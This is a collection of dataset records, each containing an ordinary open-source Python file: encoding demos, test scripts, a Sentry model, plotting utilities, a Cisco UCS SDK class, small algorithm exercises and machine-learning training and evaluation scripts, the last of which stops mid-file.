+{"seq_id":"27433478514","text":"# 2주차 1차시 강의교안 13페이지 코드\n\nif __name__ == '__main__':\n    # Decode\n    # Translating from the outside world of bytes to Unicode Characters\n    input_bytes = b'\\xff\\xfe4\\x001\\x003\\x00 \\x00i\\x00s\\x00 \\x00i\\x00n\\x00.\\x00'\n    input_characters = input_bytes.decode('utf-16')\n    print(repr(input_characters))\n\n    # Encode\n    # Translating characters back into bytes before sending them.\n    output_characters = 'We copy you down, Eagle.\\n'\n    output_bytes = output_characters.encode('utf-8')\n    with open('Network/eagle.txt', 'wb') as f:\n        f.write(output_bytes) # write output_bytes into a file in utf-8","repo_name":"yw824/python-Fundamental","sub_path":"Network/W2_CH01_Encode_Decode.py","file_name":"W2_CH01_Encode_Decode.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7523847101","text":"\"\"\"\nCreated on Dec 14, 2017\n\n@author: nhan.nguyen\n\"\"\"\n\nfrom indy import signus\nfrom indy.error import ErrorCode\nfrom utilities import utils, common, constant\nfrom test_scripts.functional_tests.signus.signus_test_base \\\n    import SignusTestBase\n\n\nclass TestSignWithValidData(SignusTestBase):\n    def __init__(self):\n        super().__init__()\n\n    async def execute_test_steps(self):\n        # 1. Create wallet.\n        # 2. Open wallet.\n        self.wallet_handle = await \\\n            common.create_and_open_wallet_for_steps(self.steps,\n                                                    self.wallet_name,\n                                                    self.pool_name)\n\n        # 4. Use \"signus.sign\" to sign with unknown did and\n        # verify that user cannot sign successfully.\n        self.steps.add_step(\"Use 'signus.sign' to sign with unknown did and \"\n                            \"verify that user cannot sign successfully\")\n        error_code = ErrorCode.WalletNotFoundError\n        await utils.perform_with_expected_code(self.steps, signus.sign,\n                                               self.wallet_handle,\n                                               constant.did_my1,\n                                               \"Test signus\".encode(\"UTF-8\"),\n                                               expected_code=error_code)\n\n\nif __name__ == \"__main__\":\n    TestSignWithValidData().execute_scenario()\n","repo_name":"trongnhan1312400/Automation-Tests","sub_path":"test_scripts/functional_tests/signus/signus_sign_fails_for_unknown_signer.py","file_name":"signus_sign_fails_for_unknown_signer.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37240029533","text":"import os\nimport site\nimport sys\nimport datetime\nimport csv\nd = os.path.split(__file__)[0]\nsite.addsitedir(os.path.join(d, \"..\"))\nfrom collections import (\n    Counter,\n    defaultdict,\n)\n\nfrom integration.threem import (\n    ThreeMBibliographicMonitor,\n)\nfrom model import (\n    DataSource,\n    Edition,\n    production_session,\n    WorkGenre,\n    Work,\n)\nimport classifier\n\ndef count_for_each_data_source(base_query, sources):\n    by_source = dict()\n    for source in sources:\n        q = base_query.join(Work.primary_edition).filter(Edition.data_source==source)\n        by_source[source] = q.count()\n    return by_source\n\ndef collect(_db, sources):\n    stats = defaultdict(Counter)\n    base_query = _db.query(WorkGenre).join(WorkGenre.work).join(\n        Work.primary_edition)\n    for source in sources:\n        q = base_query.filter(Edition.data_source==source)\n        for classification in q:\n            genre = classification.genre.name\n            genredata = classifier.genres[genre]\n            parentage = [x.name for x in genredata.parents] + [genre]\n            parentage.reverse()\n            while len(parentage) < 3:\n                parentage.append(\"\")\n            stats[tuple(parentage)][source] += 1\n    return stats\n\nif __name__ == '__main__':\n\n    _db = production_session()\n\n    out = csv.writer(sys.stdout)\n\n    sources = [DataSource.lookup(_db, x) for x in [\n        DataSource.GUTENBERG, DataSource.OVERDRIVE, DataSource.THREEM]]\n    out.writerow([\"Classification\", \"Parent\", \"Grandparent\"] + [x.name for x in sources] + [\"Total\"])\n\n    for audience in \"Adult\", \"Young Adult\", \"Children\":\n        base_query = _db.query(Work).filter(Work.audience==audience)\n        by_source = count_for_each_data_source(base_query, sources)\n        \n        row = [by_source[source] for source in sources]\n        row += [sum(row)]\n        row = [audience, \"\" ,\"\"] + row\n        out.writerow(row)\n\n    out.writerow([])\n    for fiction, name in (True, \"Fiction\"), (False, \"Nonfiction\"), (None, \"No Fiction Status\"):\n        base_query = _db.query(Work).filter(Work.fiction==fiction)\n        by_source = count_for_each_data_source(base_query, sources)\n        row = [by_source[source] for source in sources]\n        row += [sum(row)]\n        row = [name, \"\", \"\"] + row\n        out.writerow(row)\n\n        unclassified_query = Work.with_no_genres(base_query)\n        by_source = count_for_each_data_source(unclassified_query, sources)\n        row = [by_source[source] for source in sources]\n        row += [sum(row)]\n        row = [name + \", no genre\", \"\", \"\"] + row\n        out.writerow(row)\n    out.writerow([])\n\n    stats = collect(_db, sources)\n    for parentage, by_source in sorted(stats.items()):\n        total = 0\n        row = list(parentage)\n        for source in sources:\n            row.append(by_source[source])\n            total += by_source[source]\n        row += [total]\n        out.writerow(row)\n    \n","repo_name":"NYPL-Simplified/metadata_wrangler","sub_path":"reports/genre_classifications.py","file_name":"genre_classifications.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"30526488848","text":"from __future__ import absolute_import, print_function\n\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom sentry.db.models import BoundedBigIntegerField, Model, sane_repr\n\n\nclass PlatformExternalIssue(Model):\n    __core__ = False\n\n    group_id = BoundedBigIntegerField()\n    # external service that's linked to the sentry issue\n    service_type = models.CharField(max_length=64)\n    display_name = models.TextField()\n    web_url = models.URLField()\n    date_added = models.DateTimeField(default=timezone.now)\n\n    class Meta:\n        app_label = \"sentry\"\n        db_table = \"sentry_platformexternalissue\"\n        unique_together = ((\"group_id\", \"service_type\"),)\n\n    __repr__ = sane_repr(\"group_id\", \"service_type\", \"display_name\", \"web_url\")\n\n    @classmethod\n    def get_annotations(cls, group):\n        external_issues = cls.objects.filter(group_id=group.id)\n        annotations = []\n        for ei in external_issues:\n            annotations.append('<a href=\"%s\">%s</a>' % (ei.web_url, ei.display_name))\n\n        return annotations\n","repo_name":"lizardkinggg/sentry-cicd","sub_path":"src/sentry/models/platformexternalissue.py","file_name":"platformexternalissue.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"11540595361","text":"# Evan Edelstein\nimport subprocess\nimport matplotlib.pyplot as plt\nimport dtreeviz.trees\nimport pandas as pd\nimport pathlib\nimport os\n\n\ndef roc_viz(roc_curve_data, output_path_dir, model_name):\n    roc_frames = []\n    plt.figure()\n    lw = 2\n    for data in roc_curve_data:\n        pred, fpr, tpr, roc_auc, thresholds = data\n        new_roc_frame = pd.DataFrame()\n        new_roc_frame[f\"{pred}_fpr\"] = fpr\n        new_roc_frame[f\"{pred}_tpr\"] = tpr\n        roc_frames.append(new_roc_frame)\n        plt.plot(fpr, tpr, lw=lw, label=f\"{pred} (area = {roc_auc})\")\n\n    roc_frame = pd.concat(roc_frames, axis=1)\n    roc_frame.to_csv(f\"{output_path_dir}/roc_{model_name}.csv\")\n    plt.plot([0, 1], [0, 1], color=\"gray\", lw=lw, linestyle=\"--\", alpha=0.5)\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.xlabel(\"False Positive Rate\")\n    plt.ylabel(\"True Positive Rate\")\n    plt.title(\"Receiver operating characteristic Curve\")\n    plt.legend(loc=\"lower right\")\n    plt.tight_layout()\n    plt.savefig(f\"{output_path_dir}/ROC_{model_name}.png\")\n    # plt.show()\n    return\n\n\ndef pr_viz(pr_curve_data, output_path_dir, model_name, df, annotated_col):\n    pr_frames = [pd.DataFrame()]\n    plt.figure()\n    lw = 2\n    for data in pr_curve_data:\n        pred, recall, precision, pr_auc, thresholds = data\n        pr_frame = pd.DataFrame()\n        pr_frame[f\"{pred}_fpr\"] = recall\n        pr_frame[f\"{pred}_tpr\"] = precision\n        pr_frames.append(pr_frame)\n        plt.plot(recall, precision, lw=lw, label=f\"{pred} (area = {pr_auc})\")\n\n    pr_frame = pd.concat(pr_frames, axis=1)\n    pr_frame.to_csv(f\"{output_path_dir}/pr_{model_name}.csv\")\n    no_skill = len(df[df[annotated_col] == 1]) / len(df)\n    plt.plot([0, 1], [no_skill, no_skill], linestyle='--', color='gray')\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.xlabel(\"False Positive Rate\")\n    plt.ylabel(\"True Positive Rate\")\n    plt.title(\"Precision-Recall curve\")\n    plt.legend(loc=\"upper right\")\n    plt.tight_layout()\n    plt.savefig(f\"{output_path_dir}/PR_{model_name}.png\")\n    # plt.show()\n    return\n\n\ndef treeviz(tree, df, feature_cols, annotated_col, model_name, output_path_dir):\n    try:\n        viz = dtreeviz(tree,\n                       df[feature_cols],\n                       df[annotated_col],\n                       target_name='Interface',\n                       feature_names=feature_cols,\n                       class_names=[\"non_interface\", \"interface\"],\n                       show_node_labels=True,\n                       fancy=False\n                       )\n        path = f\"{output_path_dir}/Rftree_{model_name}.svg\"\n        viz.save(path)\n    except Exception as exception:\n        print(exception)\n        print(\"Please install Graphviz\")\n    return\n\n\ndef roc_to_csv(roc_curve_data, output_path_dir, model_name):\n    roc_frame = pd.DataFrame()\n    for data in roc_curve_data:\n        pred, fpr, tpr, roc_auc, thresholds = data\n        roc_frame[f\"{pred}_fpr\"] = fpr\n        roc_frame[f\"{pred}_tpr\"] = tpr\n    roc_frame.to_csv(f\"{output_path_dir}/roc_{model_name}.csv\")\n    return\n\n\ndef pr_to_csv(pr_curve_data, output_path_dir, model_name):\n    pr_frame = pd.DataFrame()\n    for data in pr_curve_data:\n        pred, recall, precision, pr_auc, thresholds = data\n        pr_frame[f\"{pred}_fpr\"] = recall\n        pr_frame[f\"{pred}_tpr\"] = precision\n    pr_frame.to_csv(f\"{output_path_dir}/pr_{model_name}.csv\")\n    return\n\n\ndef pymol_viz(bin_frame, proteins, predicted_col, annotated_col, pymolscriptpath, output_path_dir):\n    new_folder = os.path.join(output_path_dir, \"proteins\")\n\n    pathlib.Path(new_folder).mkdir(parents=True, exist_ok=True)\n    for protein in proteins:\n        protein_df = bin_frame[bin_frame['protein'] == protein]\n        new_folder = os.path.join(output_path_dir, \"proteins\", protein)\n        pathlib.Path(new_folder).mkdir(parents=True, exist_ok=True)\n\n        for pred in predicted_col:\n\n            pred_residues = protein_df[protein_df[f'{pred}_bin'] == 1].index.tolist()\n            annotated_resiues = protein_df[protein_df[annotated_col] == 1].index.tolist()\n            tp_residues = [i for i in pred_residues if i in annotated_resiues]\n            fp_residues = [i for i in pred_residues if i not in annotated_resiues]\n            tp_residues = [i.split(\"_\")[0] for i in tp_residues]\n            tp_residues = \"+\".join(tp_residues)\n            fp_residues = [i.split(\"_\")[0] for i in fp_residues]\n            fp_residues = \"+\".join(fp_residues)\n            annotated_resiues = [i.split(\"_\")[0] for i in annotated_resiues]\n            annotated_resiues = \"+\".join(annotated_resiues)\n\n            subprocess.run(\n                f\"pymol -Q -c -q  {pymolscriptpath} -- {output_path_dir} {protein} {tp_residues} {fp_residues} {annotated_resiues} {pred}\", shell=True)\n\n    return\n","repo_name":"eved1018/ISPIP","sub_path":"ispip/graphing.py","file_name":"graphing.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43053049590","text":"\"\"\"This module contains the general information for InitiatorRequestorEp ManagedObject.\"\"\"\n\nfrom ...ucsmo import ManagedObject\nfrom ...ucscoremeta import MoPropertyMeta, MoMeta\nfrom ...ucsmeta import VersionMeta\n\n\nclass InitiatorRequestorEpConsts:\n    ALLOC_STATE_ALLOCATED = \"allocated\"\n    ALLOC_STATE_ALLOCATING = \"allocating\"\n    ALLOC_STATE_FAILED = \"failed\"\n    ALLOC_STATE_NONE = \"none\"\n\n\nclass InitiatorRequestorEp(ManagedObject):\n    \"\"\"This is InitiatorRequestorEp class.\"\"\"\n\n    consts = InitiatorRequestorEpConsts()\n    naming_props = set(['sysId', 'id'])\n\n    mo_meta = MoMeta(\"InitiatorRequestorEp\", \"initiatorRequestorEp\", \"req-sysid-[sys_id]-id-[id]\", VersionMeta.Version211a, \"InputOutput\", 0x7f, [], [\"read-only\"], ['lsServer', 'storageSystem', 'topSystem'], ['initiatorGroupEp'], [None])\n\n    prop_meta = {\n        \"alloc_state\": MoPropertyMeta(\"alloc_state\", \"allocState\", \"string\", VersionMeta.Version211a, MoPropertyMeta.READ_ONLY, None, None, None, None, [\"allocated\", \"allocating\", \"failed\", \"none\"], []),\n        \"child_action\": MoPropertyMeta(\"child_action\", \"childAction\", \"string\", VersionMeta.Version211a, MoPropertyMeta.INTERNAL, 0x2, None, None, r\"\"\"((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}\"\"\", [], []),\n        \"dn\": MoPropertyMeta(\"dn\", \"dn\", \"string\", VersionMeta.Version211a, MoPropertyMeta.READ_ONLY, 0x4, 0, 256, None, [], []),\n        \"ep_dn\": MoPropertyMeta(\"ep_dn\", \"epDn\", \"string\", VersionMeta.Version211a, MoPropertyMeta.READ_ONLY, None, 0, 256, None, [], []),\n        \"id\": MoPropertyMeta(\"id\", \"id\", \"uint\", VersionMeta.Version211a, MoPropertyMeta.NAMING, 0x8, None, None, None, [], []),\n        \"rn\": MoPropertyMeta(\"rn\", \"rn\", \"string\", VersionMeta.Version211a, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []),\n        \"sacl\": MoPropertyMeta(\"sacl\", \"sacl\", \"string\", VersionMeta.Version302c, MoPropertyMeta.READ_ONLY, None, None, None, r\"\"\"((none|del|mod|addchild|cascade),){0,4}(none|del|mod|addchild|cascade){0,1}\"\"\", [], []),\n        \"status\": MoPropertyMeta(\"status\", \"status\", \"string\", VersionMeta.Version211a, MoPropertyMeta.READ_WRITE, 0x20, None, None, r\"\"\"((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}\"\"\", [], []),\n        \"sys_id\": MoPropertyMeta(\"sys_id\", \"sysId\", \"uint\", VersionMeta.Version211a, MoPropertyMeta.NAMING, 0x40, None, None, None, [], []),\n        \"sys_name\": MoPropertyMeta(\"sys_name\", \"sysName\", \"string\", VersionMeta.Version211a, MoPropertyMeta.READ_ONLY, None, None, None, r\"\"\"[\\-\\.:_a-zA-Z0-9]{0,16}\"\"\", [], []),\n    }\n\n    prop_map = {\n        \"allocState\": \"alloc_state\", \n        \"childAction\": \"child_action\", \n        \"dn\": \"dn\", \n        \"epDn\": \"ep_dn\", \n        \"id\": \"id\", \n        \"rn\": \"rn\", \n        \"sacl\": \"sacl\", \n        \"status\": \"status\", \n        \"sysId\": \"sys_id\", \n        \"sysName\": \"sys_name\", \n    }\n\n    def __init__(self, parent_mo_or_dn, sys_id, id, **kwargs):\n        self._dirty_mask = 0\n        self.sys_id = sys_id\n        self.id = id\n        self.alloc_state = None\n        self.child_action = None\n        self.ep_dn = None\n        self.sacl = None\n        self.status = None\n        self.sys_name = None\n\n        ManagedObject.__init__(self, \"InitiatorRequestorEp\", parent_mo_or_dn, **kwargs)\n","repo_name":"CiscoUcs/ucsmsdk","sub_path":"ucsmsdk/mometa/initiator/InitiatorRequestorEp.py","file_name":"InitiatorRequestorEp.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"22"}
+{"seq_id":"3173388112","text":"\nimport sys\nimport stdio\n\ndef base_2(n):\n\n    '''\n    Description: \n        Calculates the Base 2 conversions for any positive integer n\n    Parameters:\n        n: A positive integer\n    Returns:\n        A string of the posisitve integer n in base 2 format\n    '''\n\n    base = 2\n\n    if n <= 0:\n        return '0b0'\n    else:\n        return str(base_2(n // base)) + str(n % base)\n\ndef base_8(n):\n\n    '''\n    Description: \n        Calculates the Base 2 conversions for any positive integer n\n    Parameters:\n        n: A positive integer\n    Returns:\n        A string of the posisitve integer n in base 2 format\n    '''\n\n    base = 8\n\n    if n <= 0:\n        return '0o0'\n    else:\n        return str(base_8(n // base)) + str(n % base)\n\ndef base_16(n):\n\n    '''\n    Description: \n        Calculates the Base 2 conversions for any positive integer n\n    Parameters:\n        n: A positive integer\n    Returns:\n        A string of the posisitve integer n in base 2 format\n    '''\n\n    base = 16\n\n    if n <= 0:\n        return '0x0'\n    else:\n        digit = n % base\n        \n        if digit == 10:\n            digit = 'a'\n        elif digit == 11:\n            digit = 'b'\n        elif digit == 12:\n            digit = 'c'\n        elif digit == 13:\n            digit = 'd'\n        elif digit == 14:\n            digit = 'e'\n        elif digit == 15:\n            digit = 'f'\n\n        return str(base_16(n // base)) + str(digit)\n\ndef main():\n    for i in range(1, len(sys.argv)):\n        n = int(sys.argv[i])\n\n        print('Base 10: ' + str(n))\n        print('Base 2: ' + base_2(n))\n        print('Base 8: ' + base_8(n))\n        print('Base 16: ' + base_16(n))\n        print()\n\n\n\nif __name__ == '__main__': main()","repo_name":"Slickviic/Base-Conversion-Function","sub_path":"Assignment_8/BaseConversions.py","file_name":"BaseConversions.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21758603321","text":"def solution(n, plans, clients):\n    size = len(clients)\n    answer = [0] * size\n    plans_arr = [[0, []] for _ in range(len(plans))]\n    for i in range(len(plans)):\n        arr = list(map(int, plans[i].split()))\n        plans_arr[i][0] = arr[0]\n        plans_arr[i][1] = arr[1:]\n\n    for client in range(len(clients)):\n        arr = list(map(int, clients[client].split()))\n        data = arr[0]\n        services = arr[1:]\n\n        for plan in range(len(plans_arr)):\n            tmp = services.copy()\n            for service in tmp:\n                if service in plans_arr[plan][1]:\n                    services.remove(service)\n            if plans_arr[plan][0] >= data:\n                if len(services) == 0:\n                    answer[client] = plan + 1\n                    break\n\n    return answer\n\n\nprint(solution(5, [\"100 1 3\", \"500 4\", \"2000 5\"], [\"300 3 5\", \"1500 1\", \"100 1 3\", \"50 1 2\"]))\nprint(solution(4, [\"38 2 3\", \"394 1 4\"], [\"10 2 3\", \"300 1 2 3 4\", \"500 1\"]))\n","repo_name":"wlwlsus/algorithm-study","sub_path":"Programmers/SKT/003.py","file_name":"003.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7490708901","text":"\"\"\"\n'I'm a sheep!  I'm a sheep!  I'm a sheep!'\n --June\n\"\"\"\n\n\ndef main():\n    \"\"\"pass\"\"\"\n    with open(\"input_4.txt\", \"r\") as ranges:\n        ranges = [x.strip('\\n') for x in ranges]\n        # rucksack = rucksack.strip('\\n')\n        print(part_1(ranges))\n\n\ndef part_1(ranges):\n    \"\"\" docstring what? \"\"\"\n    count = 0\n    for assignment_pairs in ranges:\n        assignment_pairs = parse_range(assignment_pairs)\n        # if inside(assignment_pairs):\n        if inside_2(assignment_pairs):\n            count +=1\n    return count\n\n\ndef inside_2(pairs):\n    \"\"\" part deux \"\"\"\n    one = pairs[0]\n    two = pairs[1]\n    # two[0] between one\n    if two[0] >= one[0] and two[0] <= one[1]:\n        return True\n    # two[1] between one\n    if two[1] >= one[0] and two[1] <= one[1]:\n        return True\n    # one[0] between two\n    if one[0] >= two[0] and one[0] <= two[1]:\n        return True\n    # one[1] between two\n    if one[1] >= two[0] and one[1] <= two[1]:\n        return True\n    return False\n\n\n\ndef inside(pairs):\n    \"\"\" docstring lol \"\"\"\n    one = pairs[0]\n    two = pairs[1]\n    # one inside of two\n    if one[0] >= two[0] and one[1] <= two[1]:\n        return True\n    if two[0] >= one[0] and two[1] <= one[1]:\n        return True\n    return False\n\n\ndef parse_range(text):\n    \"\"\"\n    example pairs:\n    \"2-4,6-8\" -> [(2,4), (6,8)]\n    2-3,4-5\n    \"\"\"\n    text = text.split(\",\")\n    result = []\n    for thing in text:\n        result.append(tuple(int(x) for x in thing.split(\"-\")))\n    return result\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"peteketcham/advent-of-code-2022","sub_path":"04/day_4.py","file_name":"day_4.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9331236412","text":"import torch\nimport transformers\nfrom pathlib import Path\nimport torch.distributed as dist\nfrom torch.utils.data import DataLoader, SequentialSampler\n\nimport slurm\nimport util\nfrom options import Options\nimport data\nimport model\nfrom datasets import load_metric\nfrom nltk.translate.bleu_score import corpus_bleu\nfrom rouge import Rouge\n\n\ndef evaluate(model, dataset, dataloader, tokenizer, opt):\n    predictions = []\n    references = []\n    model = model.module if hasattr(model, 'module') else model\n    if opt.write_results:\n        write_path = Path(opt.checkpoint_dir) / opt.name / 'test_results'\n        fw = open(write_path / ('%d.txt' % opt.global_rank), 'a')\n    with torch.no_grad():\n        for i, batch in enumerate(dataloader):\n            (idx, _, _, description_ids, description_mask) = batch\n\n            outputs = model.generate(\n                input_ids=description_ids.cuda(),\n                attention_mask=description_mask.cuda(),\n                max_length=700\n            )\n\n            for k, output in enumerate(outputs):\n                ans = tokenizer.decode(output, skip_special_tokens=True)\n                example = dataset.data[idx[k]]\n                predictions.append(ans)\n                references.append(example['summary'])\n\n                if opt.write_results:\n                    fw.write(str(example['id']) + \"\\tprediction:\\n\" + ans + '\\n')\n                    fw.write(str(example['id']) + \"\\treference:\\n\" + example['summary'] + '\\n')\n                    fw.write('************************************************\\n\\n\\n')\n\n                if (i + 1) % opt.eval_print_freq == 0:\n                    print(str(example['id']) + \"\\tprediction:\\n\" + ans + '\\n')\n                    print(str(example['id']) + \"\\treference:\\n\" + example['summary'] + '\\n')\n                    print('************************************************\\n\\n\\n')\n        rouge = Rouge()\n        rouge_scores = rouge.get_scores(predictions, references)\n        rouge_scores = [score['rouge-1']['f'] for score in rouge_scores]\n        rouge_f1_score = sum(rouge_scores) / len(rouge_scores)\n        print('F1 rouge score: ' + str(rouge_f1_score * 100))\n\n        bleu_score = corpus_bleu(\n            [[ref.split()] for ref in references],\n            [pred.split() for pred in predictions]\n        )\n\n        print('bleu score: ' + str(bleu_score * 100))\n\n        # bertscore_metric = load_metric('bertscore')\n        # bert_scores = bertscore_metric.compute(\n        #     predictions=predictions,\n        #     references=references,\n        #     lang=\"en\")\n        # print('BERT scores: ' + bert_scores)\n        # print('F1 BERT scores: ' + bert_scores['f1'])\n\n\nif __name__ == \"__main__\":\n    options = Options()\n    options.add_reader_options()\n    options.add_eval_options()\n    opt = options.parse()\n    slurm.init_distributed_mode(opt)\n    opt.train_batch_size = opt.batch_size_per_gpu * max(1, opt.world_size)\n\n    dir_path = Path(opt.checkpoint_dir) / opt.name\n    directory_exists = dir_path.exists()\n    if opt.is_distributed:\n        torch.distributed.barrier()\n    dir_path.mkdir(parents=True, exist_ok=True)\n    if opt.write_results:\n        (dir_path / 'test_results').mkdir(parents=True, exist_ok=True)\n    logger = util.init_logger(opt.is_main, opt.is_distributed, Path(opt.checkpoint_dir) / opt.name / 'run.log')\n    if not directory_exists and opt.is_main:\n        options.print_options(opt)\n\n    tokenizer = transformers.T5Tokenizer.from_pretrained('t5-small', return_dict=False)\n\n    collator_function = data.Collator(opt.text_maxlength, tokenizer)\n    eval_examples = data.load_data(\n        opt.eval_data,\n        global_rank=opt.global_rank,\n        # use the global rank and world size attibutes to split the eval set on multiple gpus\n        world_size=opt.world_size\n    )\n    eval_dataset = data.Dataset(\n        eval_examples,\n        opt.n_descriptions,\n    )\n\n    eval_sampler = SequentialSampler(eval_dataset)\n    eval_dataloader = DataLoader(\n        eval_dataset,\n        sampler=eval_sampler,\n        batch_size=opt.batch_size_per_gpu,\n        num_workers=20,\n        collate_fn=collator_function\n    )\n\n    model_class = model.FiDT5\n    model = model_class.from_pretrained(opt.model_path)\n    model = model.to(opt.device)\n\n    logger.info(\"Start eval\")\n    evaluate(model, eval_dataset, eval_dataloader, tokenizer, opt)\n\n    if opt.write_results and opt.is_main:\n        glob_path = Path(opt.checkpoint_dir) / opt.name / 'test_results'\n        write_path = Path(opt.checkpoint_dir) / opt.name / 'final_output.txt'\n        util.write_output(glob_path, write_path)\n    if opt.write_crossattention_scores:\n        util.save_distributed_dataset(eval_dataset.data, opt)\n","repo_name":"guybagi435/nba_summary_generator","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31704622766","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load\n\n# https://mmuratarat.github.io/2019-06-12/embeddings-with-numeric-variables-Keras\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom numpy.core import numeric\n# 0 = all messages are logged (default behavior)\n# 1 = INFO messages are not printed\n# 2 = INFO and WARNING messages are not printed\n# 3 = INFO, WARNING, and ERROR messages are not printed\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \n__all__ = []\nimport types\nfrom tensorflow.python.keras.engine.base_layer import Layer\nimport tqdm\nimport time\nimport argparse\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom sklearn import preprocessing, metrics\n\nimport tensorflow as tf\nfrom tensorflow.keras import layers, optimizers, callbacks\nfrom tensorflow.keras.layers.experimental import preprocessing as ker_preprocessing\n\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras import backend as K\ntf.compat.v1.disable_eager_execution()\n\n# DEBUG!\n# tf.compat.v1.enable_eager_execution()\n\nfrom . import cross_validation as cvm\nfrom . import categorical_features as cfm\nfrom . import metrics as mm\nfrom . import utils as ut\n\nap = argparse.ArgumentParser()\nap.add_argument('-l1','--nlayer1',dest='nlayer1', type=int)\nap.add_argument('-l2','--nlayer2',dest='nlayer2', type=int)\nap.add_argument('-e','--epochs',dest='epochs', type=int)\nap.add_argument('-f','--num_folds',dest='num_folds', type=int)\nargs = ap.parse_args()\nut.print_arguments(args)\nnlayer1 = args.nlayer1\nnlayer2 = args.nlayer2\nline = '-'.join(['']*50)\nepochs = args.epochs\nnum_folds = args.num_folds\nif not os.path.exists('./input/transformed_data_expanded.csv'):\n    train = pd.read_csv('./input/train_expanded.csv')\n    test = pd.read_csv('./input/test_expanded.csv')\n    features = train.columns.difference(['id', 'target']).tolist()\n    print('Features', features, len(features))\n\n    cv = cvm.CrossValidation(train,\n                            ['target'],\n                            shuffle=False,\n                            problem_type=cvm.PT_MULTI_LABLE_CLF,\n                            num_folds=num_folds)\n    train = cv.split()\n    print(train.kfold.unique(), train.target.unique())\n    print('Total kfolds', train.kfold.unique(),train.kfold.nunique())\n\n    # select features to train on\n\n    # for combination purpose\n    test['target'] = -1\n    test['kfold'] = -1\n    join_data = pd.concat([train, test],axis=0).reset_index(drop=True)\n\n    print('joined', join_data.shape, 'train', train.shape, 'test', test.shape)\n    print(join_data.head())\n    cf = cfm.CategoricalFeatures(join_data, features,'label', handle_na=True)\n    transformed_data = cf.fit_transform()\n    print('Transformed Data')\n    print(transformed_data.head())\n    transformed_data.to_csv('./input/transformed_data_expanded.csv', index=False)\nelse:\n    transformed_data = pd.read_csv('./input/transformed_data_expanded.csv')\n    features = transformed_data.columns.difference(['id', 'target','kfold']).tolist()\n\nnumerical_features = ('animal_','country_','heat_','rank_', 'inst_', 'rank', 'shape_')\ncat_features = list(filter(lambda x: not x.startswith(numerical_features), features))\nnum_features = list(filter(lambda x:     x.startswith(numerical_features), features))\n\nprint('Categorical Features:', len(cat_features), ', '.join(cat_features))\nprint('Numerical Features:', len(num_features),  ', '.join(num_features))\n\ntrain_df = transformed_data[transformed_data.target != -1].reset_index(drop=True)\ntest_df  = transformed_data[transformed_data.target == -1].reset_index(drop=True)\n\n# train_df = cf.transform(train)\n# test_df = cf.transform(test)\n\nprint(train_df.shape, test_df.shape)\nprint('train kfold', train_df.kfold.unique(), 'target', train_df.target.unique())\nprint('test kfold',   test_df.kfold.unique(), 'target',  test_df.target.unique())\nlog_name = f'exp_{int(time.time())}'\n\ndef auc(y_true, y_pred):\n    def fallback_auc(y_true, y_pred):\n        try:\n            return metrics.roc_auc_score(y_true, y_pred)\n        except:\n            return 0.5\n    return tf.py_function(fallback_auc, (y_true, y_pred), tf.double)\ndef get_model(df, cat_cols, numerical_cols, nlayer1, nlayer2):\n    inputs = []\n    outputs = []\n    for c in cat_cols:\n        num_unique = int(df[c].nunique())\n        embed_dim = int(min(np.ceil(num_unique/2), 60))\n        inp = layers.Input(shape=(1,), name=f'Categorical_{c}')\n        out = layers.Embedding(num_unique + 1, embed_dim, name=f'Embedding_{c}')(inp)\n        out = layers.SpatialDropout1D(0.3,name=f'SpatialDropout1D_{c}')(out)\n        # apply dropout here\n        out = layers.Reshape(target_shape=(embed_dim,), name=f\"Reshape_{c}\")(out)\n        inputs.append(inp)\n        outputs.append(out)\n\n    # if len(numerical_cols) > 0:\n    inp_num_data = layers.Input(shape=(len(numerical_cols),), name=f'Input_Numerical')\n    # inp_normalizer = ker_preprocessing.Normalization(input_shape=[1,])\n    # num_norm = inp_normalizer(inp_num_data)\n    x2 = layers.BatchNormalization()(inp_num_data)\n    x2 = layers.Dense(64, activation='relu', name=f'Dense1_Numerical')(x2)\n    x2 = layers.Dropout(.3)(x2)\n    x2 = layers.BatchNormalization()(x2)\n    x2 = layers.Dense(64, activation='relu', name=f'Dense2_Numerical')(x2)\n    x2 = layers.Dropout(.3)(x2)\n\n\n    x = layers.Concatenate()(outputs)\n    x = layers.concatenate([x, x2])\n    x = layers.BatchNormalization()(x)\n  